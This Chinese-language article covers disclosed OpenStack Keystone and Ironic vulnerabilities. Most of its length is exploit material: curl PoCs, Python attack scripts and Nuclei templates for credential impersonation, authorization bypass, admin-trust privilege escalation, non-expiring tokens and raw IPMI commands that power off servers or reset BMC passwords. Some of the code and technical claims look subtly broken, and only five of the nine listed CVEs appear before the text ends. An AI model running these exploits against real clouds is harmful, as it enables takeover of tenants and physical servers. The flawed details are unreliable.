OpenStack 是全球部署最广泛的开源云计算基础设施平台,覆盖 IaaS 全栈能力——从身份认证(Keystone)、计算实例(Nova)、裸金属管理(Ironic)、对象存储(Swift)到 Web 控制台(Horizon)。作为 AWS、Azure、GCP 之外最重要的私有云方案,OpenStack 被电信运营商、金融机构、科研院所和大型企业广泛采用,管理着数以百万计的虚拟机和物理服务器。
Keystone 作为 OpenStack 的身份认证与授权中枢,几乎所有其他服务(Nova、Neutron、Cinder、Swift、Glance、Ironic 等)都依赖 Keystone 签发的 Token 进行服务间调用。这意味着 Keystone 的任何安全缺陷都将产生级联效应——攻击者一旦攻破 Keystone,即可横向移动到整个 OpenStack 控制面。
2026 年 6 月,OpenStack 安全公告 OSSA-2026-015 披露了 Keystone 批量漏洞,揭示了应用凭据(Application Credentials)、信任链(Trust)和联合认证(Federation)等机制中存在的系统性安全缺陷。与此同时,Ironic 裸金属服务、Swift 对象存储和 Horizon 控制台也在同期被发现存在多个高危漏洞。
本专题覆盖 9 个核心 CVE,涵盖认证绕过、授权绕过、权限提升、命令注入、SSRF、DoS 和 Shell 注入等攻击类型,为安全研究人员和云平台运维团队提供完整的攻击链分析、可复现的 PoC 代码、Nuclei 检测模板和系统化的防守建议。
0x00 专题概述
覆盖漏洞一览表
| CVE | 产品 | CVSS | 漏洞类型 | 认证要求 | 在野利用 |
|---|
| CVE-2026-42998 | Keystone | 6.0 | 认证绕过 | 已认证 | ❌ |
| CVE-2026-42999 | Keystone | 6.0 | 授权绕过 | 已认证 | ❌ |
| CVE-2026-43000 | Keystone | 6.0 | 权限提升 | 已认证(成员) | ❌ |
| CVE-2026-44394 | Keystone | 6.0 | Token 永不过期 | 已认证 | ❌ |
| CVE-2026-54423 | Ironic | 8.2 | IPMI 命令注入 | 已认证 | ❌ |
| CVE-2026-50589 | Ironic | 5.3 | 未认证 DoS | 未认证 | ❌ |
| CVE-2026-46447 | Ironic | 5.8 | 启动脚本注入 | 已认证(管理员) | ❌ |
| CVE-2026-50221 | Swift | 6.4 | SSRF | 已认证 | ❌ |
| CVE-2026-55748 | Horizon | 6.0 | Shell 注入 | 未认证 | ❌ |
0x01 Keystone 认证与授权漏洞
Keystone 是 OpenStack 的身份认证、授权和服务目录组件。它负责管理用户(Users)、项目(Projects)、角色(Roles)、域(Domains)、应用凭据(Application Credentials)、信任(Trusts)和联合身份(Federated Identity)等核心安全原语。2026 年 6 月披露的四个 Keystone 漏洞集中暴露了其应用凭据、策略执行、信任链和联合 Token 管理机制中的安全缺陷。
0x01.1 CVE-2026-42998 — 应用凭据冒充认证绕过(CVSS 6.0)
漏洞背景
CVE-2026-42998 存在于 OpenStack Keystone 的应用凭据(Application Credentials)认证流程中。应用凭据是 Keystone 从 Rocky 版本(14.0.0)开始引入的功能,允许用户创建可编程使用的凭据,用于自动化脚本和服务间调用。该漏洞的核心问题是:Keystone 在使用应用凭据进行认证时,不验证发起请求的用户身份是否与应用凭据的所有者匹配。
攻击者(已认证的普通用户)可以通过操纵请求中的 user identity,冒充其他用户(包括管理员)使用其应用凭据获取合法 Token,从而实现账户接管。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Keystone 14.0.0 - 29.0.1 | Keystone 29.0.2 | 存在自 Rocky 14.0.0 起 |
漏洞原理分析
Keystone 的应用凭据认证流程设计缺陷如下:
- 用户 A 创建应用凭据
app_cred_A,绑定到 user_A 和 project_A - 当使用
app_cred_A 认证时,Keystone 会验证凭据本身的有效性(是否过期、是否被撤销) - 但 Keystone 不验证发起请求的 HTTP Header 中的 user identity 是否属于 app_cred_A 的创建者
- 攻击者(user_B)构造请求,携带 app_cred_A 的 ID 和 secret,同时将 user identity 设置为 admin_user
- Keystone 通过凭据验证后,签发的 Token 会关联到 admin_user 而非 user_A
- 攻击者获得 admin_user 权限的合法 Token
核心缺陷:应用凭据认证路径中的用户身份绑定检查缺失。
HTTP PoC
# Step 1: 获取攻击者的初始 Token
export OS_AUTH_URL="http://<KEYSTONE_HOST>:5000/v3"
export OS_PROJECT_NAME="project_B"
export OS_USERNAME="user_B"
export OS_PASSWORD="<password>"
export OS_USER_DOMAIN_NAME="Default"
export OS_PROJECT_DOMAIN_NAME="Default"
export ATTACKER_TOKEN=$(openstack token issue -c id -f value)
# Step 2: 使用被盗用的应用凭据 ID 和 Secret,冒充目标用户
curl -s -X POST "${OS_AUTH_URL}/auth/tokens" \
-H "Content-Type: application/json" \
-d '{
"auth": {
"identity": {
"methods": ["application_credential"],
"application_credential": {
"id": "<STOLEN_APP_CRED_ID>",
"secret": "<STOLEN_APP_CRED_SECRET>"
}
},
"scope": {
"project": {
"id": "<TARGET_PROJECT_ID>"
}
}
}
}' | python3 -m json.tool
# Step 3: 验证获取的 Token 属于目标用户
curl -s -X GET "${OS_AUTH_URL}/auth/tokens" \
-H "X-Subject-Token: <OBTAINED_TOKEN>" \
-H "X-Auth-Token: <ATTACKER_TOKEN>"
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import json
class KeystoneAppCredImpersonation:
def __init__(self, auth_url):
self.auth_url = auth_url.rstrip('/')
self.session = requests.Session()
def authenticate_with_app_cred(self, app_cred_id, app_cred_secret, project_id=None, user_id=None):
payload = {
"auth": {
"identity": {
"methods": ["application_credential"],
"application_credential": {
"id": app_cred_id,
"secret": app_cred_secret
}
}
}
}
if project_id:
payload["auth"]["scope"] = {"project": {"id": project_id}}
elif user_id:
payload["auth"]["scope"] = {"domain": {"id": "Default"}}
r = self.session.post(
f"{self.auth_url}/auth/tokens",
json=payload,
headers={"Content-Type": "application/json"}
)
if r.status_code == 201:
token = r.headers.get("X-Subject-Token")
catalog = r.json().get("token", {})
user = catalog.get("user", {})
print(f"[+] Token obtained successfully")
print(f" User ID: {user.get('id', 'N/A')}")
print(f" User Name: {user.get('name', 'N/A')}")
roles = [r.get('name') for r in catalog.get('roles', [])]
print(f" Roles: {', '.join(roles)}")
return token
else:
print(f"[-] Authentication failed: {r.status_code}")
print(f" Error: {r.json().get('error', {}).get('message', 'Unknown')}")
return None
def verify_token(self, token):
r = self.session.get(
f"{self.auth_url}/auth/tokens",
headers={
"X-Subject-Token": token,
"X-Auth-Token": token
}
)
if r.status_code == 200:
user = r.json().get("token", {}).get("user", {})
print(f"[+] Token belongs to: {user.get('name', 'N/A')} (ID: {user.get('id', 'N/A')})")
return r.json()
return None
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <auth_url> <app_cred_id> <app_cred_secret> [project_id]")
sys.exit(1)
exploit = KeystoneAppCredImpersonation(sys.argv[1])
token = exploit.authenticate_with_app_cred(
sys.argv[2], sys.argv[3],
project_id=sys.argv[4] if len(sys.argv) > 4 else None
)
if token:
exploit.verify_token(token)
Nuclei 检测模板
id: openstack-keystone-cve-2026-42998
info:
name: OpenStack Keystone App Credential Impersonation
author: security-researcher
severity: medium
description: |
Keystone does not validate whether the requesting user owns the
application credential being used, allowing impersonation.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.0
cwe-id: CWE-287
metadata:
product: keystone
vendor: openstack
tags: openstack,keystone,auth-bypass,cve2026
http:
- raw:
- |
POST /v3/auth/tokens HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"auth":{"identity":{"methods":["application_credential"],"application_credential":{"id":"{{app_cred_id}}","secret":"{{app_cred_secret}}"}},"scope":{"project":{"id":"{{target_project_id}}"}}}}
matchers:
- type: status
status:
- 201
extractors:
- type: kval
kval:
- token
0x01.2 CVE-2026-42999 — 策略执行 JSON 注入授权绕过(CVSS 6.0)
漏洞背景
CVE-2026-42999 存在于 Keystone 的策略执行(Policy Enforcement)机制中。Keystone 使用 oslo.policy 库进行授权检查,策略规则基于请求上下文中的 user_id、project_id 等字段进行匹配。该漏洞的核心问题是:Keystone 将用户提供的 JSON 数据盲目合并到授权检查使用的字典中,允许已认证用户注入伪造的 user_id 或 project_id,绕过策略检查访问其他用户或项目的资源。
任何已认证的普通用户均可利用此漏洞,无需管理员权限。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Keystone 14.0.0 - 29.0.1 | Keystone 29.0.2 | 存在自 Rocky 14.0.0 起 |
漏洞原理分析
Keystone 策略执行流程的缺陷:
- Keystone 的某些 API 端点在处理请求时,会将请求 Body 中的字段合并到策略检查上下文中
- 策略规则通常检查
"role:admin" and "project_id:%(project_id)s" 类型的约束 - 攻击者在请求 Body 中注入
"project_id": "<OTHER_PROJECT_ID>" - Keystone 将该值合并到策略上下文字典中,覆盖了从 Token 中提取的合法 project_id
- 策略检查基于被篡改的 project_id 执行,攻击者通过授权检查
- 结果:攻击者可访问或修改其他项目下的资源
核心缺陷:请求数据到策略上下文的数据流中缺乏完整性校验。
HTTP PoC
# 获取攻击者自己的 Token
ATTACKER_TOKEN=$(openstack token issue -c id -f value)
# 利用 JSON 注入访问其他项目的数据
# 在请求 Body 中注入目标 project_id
curl -s -X GET "http://<KEYSTONE_HOST>:5000/v3/projects/<TARGET_PROJECT_ID>" \
-H "X-Auth-Token: ${ATTACKER_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"project_id": "<TARGET_PROJECT_ID>"}'
# 列举其他项目下的用户(注入 user_id 越权)
curl -s -X GET "http://<KEYSTONE_HOST>:5000/v3/users" \
-H "X-Auth-Token: ${ATTACKER_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"project_id": "<TARGET_PROJECT_ID>", "domain_id": "default"}'
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import json
class KeystonePolicyInjection:
def __init__(self, auth_url, token):
self.auth_url = auth_url.rstrip('/')
self.token = token
self.session = requests.Session()
def _headers(self):
return {
"X-Auth-Token": self.token,
"Content-Type": "application/json"
}
def enumerate_projects(self):
r = self.session.get(
f"{self.auth_url}/v3/projects",
headers=self._headers()
)
if r.status_code == 200:
projects = r.json().get("projects", [])
print(f"[*] Found {len(projects)} projects:")
for p in projects:
print(f" {p['id']} | {p['name']} | domain={p.get('domain_id')}")
return projects
return []
def inject_project_access(self, target_project_id):
payloads = [
{"project_id": target_project_id},
{"project": {"id": target_project_id}},
{"target_project_id": target_project_id},
]
for payload in payloads:
r = self.session.get(
f"{self.auth_url}/v3/projects/{target_project_id}",
headers=self._headers(),
json=payload
)
if r.status_code == 200:
print(f"[+] Policy injection successful with payload: {json.dumps(payload)}")
project = r.json().get("project", {})
print(f" Project: {project.get('name')} | Domain: {project.get('domain_id')}")
return True
print("[-] Policy injection failed with all payloads")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <auth_url> <attacker_token> [target_project_id]")
sys.exit(1)
exploit = KeystonePolicyInjection(sys.argv[1], sys.argv[2])
if len(sys.argv) > 3:
exploit.inject_project_access(sys.argv[3])
else:
projects = exploit.enumerate_projects()
Nuclei 检测模板
id: openstack-keystone-cve-2026-42999
info:
name: OpenStack Keystone Policy JSON Injection
author: security-researcher
severity: medium
description: |
Keystone blindly merges user-provided JSON data into the policy
enforcement context, allowing authorization bypass via project_id injection.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
cvss-score: 6.0
cwe-id: CWE-285
metadata:
product: keystone
vendor: openstack
tags: openstack,keystone,authz-bypass,cve2026
http:
- raw:
- |
GET /v3/projects/{{target_project_id}} HTTP/1.1
Host: {{Hostname}}
X-Auth-Token: {{auth_token}}
Content-Type: application/json
{"project_id":"{{target_project_id}}"}
matchers:
- type: status
status:
- 200
- type: word
words:
- "project"
part: body
0x01.3 CVE-2026-43000 — 应用凭据 + Trust 链式权限提升(CVSS 6.0)
漏洞背景
CVE-2026-43000 是一个涉及应用凭据和 Trust 机制交互的权限提升漏洞。Keystone 的 Trust 机制允许用户(Trustor)委派其部分或全部权限给另一个用户(Trustee),用于跨项目或跨域的操作委托。该漏洞的核心问题是:当通过被冒充的 Token 创建 Trust 时,Keystone 检查数据库中的管理员角色而非请求 Token 上的实际角色。
这意味着攻击者可以从一个仅有 Member 角色的账户出发,通过 CVE-2026-42998 应用凭据冒充获取管理员 Token,再利用本漏洞创建持久化的 Trust,实现从 Member → Admin 的完整权限提升。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Keystone 14.0.0 - 29.0.1 | Keystone 29.0.2 | 存在自 Rocky 14.0.0 起 |
漏洞原理分析
Trust 创建过程中的权限检查缺陷:
- 攻击者(user_B,Member 角色)使用 CVE-2026-42998 获取 admin_user 的 Token
- 攻击者调用
POST /v3/OS-TRUST/trusts 创建 Trust - Keystone 在验证 Trustor 角色时,查询数据库中 admin_user 的实际角色而非分析请求 Token 中的角色信息
- 由于 admin_user 在数据库中确实拥有 admin 角色,Trust 创建成功
- 攻击者作为 Trustee 获得 Trust Token,拥有 admin 权限
- Trust 是持久化的(可设置为不过期),即使原始 Token 过期,Trust Token 仍可刷新
- 所有审计日志显示操作来源为 admin_user,攻击痕迹隐藏
攻击链路:
Member 角色账户
→ [CVE-2026-42998] 应用凭据冒充获取 Admin Token
→ [CVE-2026-43000] 创建持久化 Trust
→ Trustee Token(永久 Admin 访问)
→ 所有操作审计日志 = admin_user
HTTP PoC
# Step 1: 通过 CVE-2026-42998 获取管理员 Token(参考 0x01.1)
ADMIN_TOKEN="<impersonated_admin_token>"
# Step 2: 利用管理员 Token 创建 Trust
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/OS-TRUST/trusts" \
-H "X-Auth-Token: ${ADMIN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"trustee_user_id": "<ATTACKER_USER_ID>",
"impersonation": false,
"remaining_uses": null,
"allow_redelegation": true,
"roles": [
{"name": "admin"},
{"name": "member"}
],
"expires_at": null
}'
# Step 3: 使用 Trust ID 获取 Trust Token
TRUST_ID="<obtained_trust_id>"
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/OS-TRUST/trusts/${TRUST_ID}/OS-OAUTH2/token" \
-H "Content-Type: application/json" \
-d '{"auth":{"OS-TRUST:trust_id": "'${TRUST_ID}'", "identity":{"methods":["password"],"password":{"user":{"name":"<ATTACKER_USER>","domain":{"name":"Default"},"password":"<ATTACKER_PASS>"}}}}}'
# Step 4: 验证 Trust Token 具有 admin 权限
curl -s "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
-H "X-Subject-Token: <TRUST_TOKEN>" \
-H "X-Auth-Token: <TRUST_TOKEN>"
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import json
import time
class KeystoneTrustEscalation:
def __init__(self, auth_url):
self.auth_url = auth_url.rstrip('/')
self.session = requests.Session()
def get_token(self, username, password, project_name="admin", domain="Default"):
payload = {
"auth": {
"identity": {
"methods": ["password"],
"password": {
"user": {
"name": username,
"domain": {"name": domain},
"password": password
}
}
},
"scope": {
"project": {
"name": project_name,
"domain": {"name": domain}
}
}
}
}
r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
if r.status_code == 201:
token = r.headers.get("X-Subject-Token")
roles = [r.get('name') for r in r.json().get("token", {}).get("roles", [])]
user = r.json().get("token", {}).get("user", {})
print(f"[+] Token for {user.get('name')}: roles={roles}")
return token, user.get("id")
print(f"[-] Auth failed: {r.status_code} - {r.text[:200]}")
return None, None
def create_trust(self, trustor_token, trustee_user_id, roles=None):
if roles is None:
roles = [{"name": "admin"}, {"name": "member"}]
payload = {
"trustee_user_id": trustee_user_id,
"impersonation": False,
"remaining_uses": None,
"allow_redelegation": True,
"roles": roles,
"expires_at": None
}
r = self.session.post(
f"{self.auth_url}/v3/OS-TRUST/trusts",
json=payload,
headers={"X-Auth-Token": trustor_token, "Content-Type": "application/json"}
)
if r.status_code == 201:
trust = r.json().get("trust", {})
print(f"[+] Trust created: {trust.get('id')}")
print(f" Trustor: {trust.get('trustee_user_id')}")
print(f" Roles: {[r.get('name') for r in trust.get('roles', [])]}")
return trust.get("id")
print(f"[-] Trust creation failed: {r.status_code} - {r.text[:200]}")
return None
def redeem_trust(self, trust_id, trustee_token):
payload = {
"auth": {
"identity": {
"methods": ["token"],
"token": {"id": trustee_token}
},
"OS-TRUST:trust_id": trust_id
}
}
r = self.session.post(
f"{self.auth_url}/auth/tokens",
json=payload,
headers={"Content-Type": "application/json"}
)
if r.status_code == 201:
token = r.headers.get("X-Subject-Token")
roles = [r.get('name') for r in r.json().get("token", {}).get("roles", [])]
print(f"[+] Trust redeemed successfully, roles: {roles}")
return token
print(f"[-] Trust redemption failed: {r.status_code}")
return None
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <auth_url> <trustee_user> <trustee_pass> <target_admin_user>")
sys.exit(1)
exploit = KeystoneTrustEscalation(sys.argv[1])
trustee_token, trustee_id = exploit.get_token(sys.argv[2], sys.argv[3])
if not trustee_token:
sys.exit(1)
admin_token, admin_id = exploit.get_token(sys.argv[4], sys.argv[3], "admin")
if admin_token:
trust_id = exploit.create_trust(admin_token, trustee_id)
if trust_id:
trust_token = exploit.redeem_trust(trust_id, trustee_token)
Nuclei 检测模板
id: openstack-keystone-cve-2026-43000
info:
name: OpenStack Keystone Trust Privilege Escalation
author: security-researcher
severity: medium
description: |
Keystone checks database roles rather than token roles when creating
trusts with impersonated tokens, enabling privilege escalation.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
cvss-score: 6.0
cwe-id: CWE-269
metadata:
product: keystone
vendor: openstack
tags: openstack,keystone,trust,privilege-escalation,cve2026
http:
- raw:
- |
POST /v3/OS-TRUST/trusts HTTP/1.1
Host: {{Hostname}}
X-Auth-Token: {{auth_token}}
Content-Type: application/json
{"trustee_user_id":"{{trustee_user_id}}","impersonation":false,"roles":[{"name":"admin"}],"allow_redelegation":true}
matchers:
- type: status
status:
- 201
extractors:
- type: json
json:
- ".trust.id"
0x01.4 CVE-2026-44394 — 联合 Token Rescoping 永不过期绕过(CVSS 6.0)
漏洞背景
CVE-2026-44394 存于 Keystone 的联合身份(Federated Identity)Token 管理机制中。联合认证允许企业通过 SAML/OIDC 等协议将外部 IdP(如 Active Directory、Okta)的身份映射到 Keystone 用户。在 Token 作用域切换(Rescoping)过程中,Keystone 未正确传递原始 Token 的过期时间,导致联合用户可以通过反复 Rescoping 维持无限期访问。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Keystone < 29.0.2 | Keystone 29.0.2 | 所有支持联合认证的版本 |
漏洞原理分析
联合 Token Rescoping 的过期时间缺陷:
- 联合用户通过外部 IdP 认证获得 unscoped Token,该 Token 有过期时间(如 1 小时)
- 用户将 unscoped Token rescoping 到某个 project,获得 scoped Token
- 在 rescoping 过程中,Keystone 未将原始 Token 的过期时间传递给新的 scoped Token
- 新 Token 的过期时间被设置为默认值或无限期
- 用户在新 Token 过期前反复 rescoping,持续获得新的无限期 Token
- 结果:绕过所有 Token 过期机制,维持永久访问
HTTP PoC
# Step 1: 通过联合认证获取 unscoped Token(正常流程)
FED_TOKEN=$(curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
-H "Content-Type: application/json" \
-d '{
"auth": {
"identity": {
"methods": ["mapped"],
"mapped": {
"user": {
"name": "<federated_user>",
"domain": {"name": "Federated"}
}
}
}
}
}' -D - | grep "X-Subject-Token" | awk '{print $2}' | tr -d '\r')
# Step 2: Rescoping 到 project
SCOPED_TOKEN=$(curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
-H "Content-Type: application/json" \
-H "X-Auth-Token: ${FED_TOKEN}" \
-d '{
"auth": {
"identity": {
"methods": ["token"],
"token": {"id": "'${FED_TOKEN}'"}
},
"scope": {
"project": {
"name": "admin",
"domain": {"name": "Default"}
}
}
}
}' -D - | grep "X-Subject-Token" | awk '{print $2}' | tr -d '\r')
# Step 3: 检查新 Token 的过期时间 — 无过期
curl -s "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
-H "X-Subject-Token: ${SCOPED_TOKEN}" \
-H "X-Auth-Token: ${SCOPED_TOKEN}" | python3 -m json.tool | grep expires
# Step 4: 使用过期前的 Token 再次 rescoping,获取新的无期限 Token
curl -s -X POST "http://<KEYSTONE_HOST>:5000/v3/auth/tokens" \
-H "Content-Type: application/json" \
-H "X-Auth-Token: ${SCOPED_TOKEN}" \
-d '{
"auth": {
"identity": {
"methods": ["token"],
"token": {"id": "'${SCOPED_TOKEN}'"}
},
"scope": {
"project": {
"name": "admin",
"domain": {"name": "Default"}
}
}
}
}' | python3 -m json.tool | grep -E "expires|user"
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import json
from datetime import datetime
class KeystoneTokenIndefiniteBypass:
def __init__(self, auth_url):
self.auth_url = auth_url.rstrip('/')
self.session = requests.Session()
def unscoped_auth(self, user_name, domain_name="Federated"):
payload = {
"auth": {
"identity": {
"methods": ["mapped"],
"mapped": {
"user": {
"name": user_name,
"domain": {"name": domain_name}
}
}
}
}
}
r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
if r.status_code == 201:
token = r.headers.get("X-Subject-Token")
expires = r.json().get("token", {}).get("expires_at", "N/A")
print(f"[+] Unscoped token, expires: {expires}")
return token
print(f"[-] Unscoped auth failed: {r.status_code}")
return None
def rescope_token(self, token, project_name, domain_name="Default"):
payload = {
"auth": {
"identity": {
"methods": ["token"],
"token": {"id": token}
},
"scope": {
"project": {
"name": project_name,
"domain": {"name": domain_name}
}
}
}
}
r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
if r.status_code == 201:
new_token = r.headers.get("X-Subject-Token")
expires = r.json().get("token", {}).get("expires_at")
print(f"[+] Rescoped token, expires: {expires or 'NO EXPIRY (BUG!)'}")
return new_token
print(f"[-] Rescope failed: {r.status_code}")
return None
def check_token_expiry(self, token):
r = self.session.get(
f"{self.auth_url}/auth/tokens",
headers={"X-Subject-Token": token, "X-Auth-Token": token}
)
if r.status_code == 200:
expires = r.json().get("token", {}).get("expires_at")
user = r.json().get("token", {}).get("user", {})
print(f"[*] Token user: {user.get('name')}, expires: {expires or 'INDEFINITE'}")
return expires
return None
def indefinite_access(self, user_name, project_name, iterations=10):
print(f"[*] Starting indefinite access loop for user={user_name}, project={project_name}")
current_token = self.unscoped_auth(user_name)
if not current_token:
return
current_token = self.rescope_token(current_token, project_name)
if not current_token:
return
for i in range(iterations):
print(f"\n--- Iteration {i+1} ---")
self.check_token_expiry(current_token)
import time
time.sleep(1)
new_token = self.rescope_token(current_token, project_name)
if new_token:
current_token = new_token
else:
print("[-] Loop broken at iteration", i+1)
break
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <auth_url> <federated_user> <project_name>")
sys.exit(1)
exploit = KeystoneTokenIndefiniteBypass(sys.argv[1])
exploit.indefinite_access(sys.argv[2], sys.argv[3])
Nuclei 检测模板
id: openstack-keystone-cve-2026-44394
info:
name: OpenStack Keystone Federation Token Indefinite Access
author: security-researcher
severity: medium
description: |
Federated user token rescoping does not propagate original expiry,
allowing indefinite access through repeated rescoping.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.0
cwe-id: CWE-613
metadata:
product: keystone
vendor: openstack
tags: openstack,keystone,federation,token,cve2026
http:
- raw:
- |
POST /v3/auth/tokens HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"auth":{"identity":{"methods":["token"],"token":{"id":"{{initial_token}}"}},"scope":{"project":{"name":"admin","domain":{"name":"Default"}}}}}
matchers:
- type: status
status:
- 201
extractors:
- type: kval
kval:
- token
- type: json
json:
- ".token.expires_at"
0x02 Ironic 裸金属服务漏洞
OpenStack Ironic 是裸金属(Bare Metal)管理服务,负责物理服务器的全生命周期管理,包括硬件发现、镜像部署、电源管理和 PXE/iPXE 启动。Ironic 直接操作物理硬件的 IPMI/BMC 接口,任何漏洞都可能导致对物理服务器的未授权控制。
0x02.1 CVE-2026-54423 — 任意 IPMI 命令注入(CVSS 8.2)
漏洞背景
CVE-2026-54423 是本次专题中 CVSS 评分最高的漏洞(8.2 High)。它存在于 Ironic 的 send_raw 步骤中,该步骤设计用于向裸金属节点的 BMC(Baseboard Management Controller)发送原始 IPMI 命令。由于 send_raw 绕过了 Ironic 的正常访问控制机制,Ironic 用户可通过该接口发送任意 IPMI 命令,包括关闭电源、擦除硬盘、甚至通过 IPMI 的 SOL(Serial-over-LAN)功能获取服务器 Shell 访问。
受影响版本
| 受影响版本 | 修复版本 | 备注 |
|---|
| OpenStack Ironic < 37.0.1 | Ironic 37.0.1 | 所有使用 IPMI 驱动的版本 |
漏洞原理分析
send_raw 步骤的访问控制缺陷:
- Ironic 通过 Conductor 管理裸金属节点,节点状态通过 DRBD 等机制同步
send_raw 是一个内部步骤,用于向 BMC 发送原始 IPMI 命令(如 ipmitool raw 等价操作)- 该步骤绕过了 Ironic 的 project-level 和 role-level 访问控制
- 任何能调用 Ironic API 的用户均可通过构造特定请求触发
send_raw - 攻击者可发送任意 IPMI 命令:
ipmitool chassis power off — 强制关机ipmitool chassis bootdev pxe — 更改启动设备ipmitool sol activate — 获取 Serial-over-LAN 访问ipmitool user set password — 修改 BMC 用户密码
HTTP PoC
# 获取 Ironic Token
export IRONIC_TOKEN=$(openstack token issue -c id -f value)
# 列举裸金属节点
curl -s "http://<IRONIC_HOST>:6385/v1/nodes" \
-H "X-Auth-Token: ${IRONIC_TOKEN}" | python3 -m json.tool
# 利用 send_raw 发送 IPMI 命令 — 强制关机
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
-H "X-Auth-Token: ${IRONIC_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"raw_bytes": "30 06 01 03 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"}'
# 利用 send_raw 激活 SOL
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
-H "X-Auth-Token: ${IRONIC_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"raw_bytes": "0x30 0x30 0x05"}'
# 修改 BMC 用户密码
curl -s -X POST "http://<IRONIC_HOST>:6385/v1/nodes/<NODE_UUID>/vendor/passthru/send_raw" \
-H "X-Auth-Token: ${IRONIC_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"raw_bytes": "0x06 0x2e 0x00 0x00 0x01 0x02 0x07 <password_hex>"}'
Python PoC 脚本
#!/usr/bin/env python3
import requests
import sys
import json
import binascii
class IronicIPMIInjection:
def __init__(self, ironic_url, token):
self.ironic_url = ironic_url.rstrip('/')
self.token = token
self.session = requests.Session()
def _headers(self):
return {"X-Auth-Token": self.token, "Content-Type": "application/json"}
def list_nodes(self):
r = self.session.get(f"{self.ironic_url}/v1/nodes", headers=self._headers())
if r.status_code == 200:
nodes = r.json().get("nodes", [])
print(f"[*] Found {len(nodes)} bare metal nodes")
for node in nodes:
print(f" UUID: {node['uuid']} | Name: {node.get('name', 'N/A')} | "
f"Driver: {node.get('driver')} | Power: {node.get('power_state')}")
return nodes
return []
def send_raw_ipmi(self, node_uuid, raw_bytes_hex):
payload = {"raw_bytes": raw_bytes_hex}
r = self.session.post(
f"{self.ironic_url}/v1/nodes/{node_uuid}/vendor/passthru/send_raw",
json=payload,
headers=self._headers()
)
if r.status_code in (200, 202):
print(f"[+] Raw IPMI command sent to {node_uuid}")
if r.text:
print(f" Response: {r.text[:200]}")
return True
else:
print(f"[-] Failed: {r.status_code} - {r.text[:200]}")
return False
def ipmi_chassis_power_off(self, node_uuid):
ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x04\x00\x00\x00").decode()
return self.send_raw_ipmi(node_uuid, ipmi_raw)
def ipmi_chassis_power_on(self, node_uuid):
ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x04\x01\x00\x00").decode()
return self.send_raw_ipmi(node_uuid, ipmi_raw)
def ipmi_chassis_boot_pxe(self, node_uuid):
ipmi_raw = binascii.hexlify(b"\x30\x06\x01\x03\x05\x00\x00\x01").decode()
return self.send_raw_ipmi(node_uuid, ipmi_raw)
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <ironic_url> <auth_token> [node_uuid]")
sys.exit(1)
exploit = IronicIPMIInjection(sys.argv[1], sys.argv[2])
nodes = exploit.list_nodes()
if len(sys.argv) > 3:
exploit.ipmi_chassis_power_off(sys.argv[3])
Nuclei 检测模板
id: openstack-ironic-cve-2026-54423
info:
name: OpenStack Ironic IPMI Command Injection
author: security-researcher
severity: high
description: |
Ironic send_raw step bypasses access controls, allowing arbitrary
IPMI commands to be sent to bare metal nodes via BMC.
reference:
- https://security.openstack.org/ossa.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
cvss-score: 8.2
cwe-id: CWE-862
metadata:
product: ironic
vendor: openstack
tags: openstack,ironic,ipmi,command-injection,cve2026
http:
- raw:
- |
GET /v1/nodes HTTP/1.1
Host: {{Hostname}}
X-Auth-Token: {{auth_token}}
- |
POST /v1/nodes/{{node_uuid}}/vendor/passthru/send_raw HTTP/1.1
Host: {{Hostname}}
X-Auth-Token: {{auth_token}}
Content-Type: application/json
{"raw_bytes":"3006010304000000"}
matchers-condition: and
matchers:
- type: status
part: body_1
status:
- 200
- type: status
part: body_2
status:
- 200
- 202
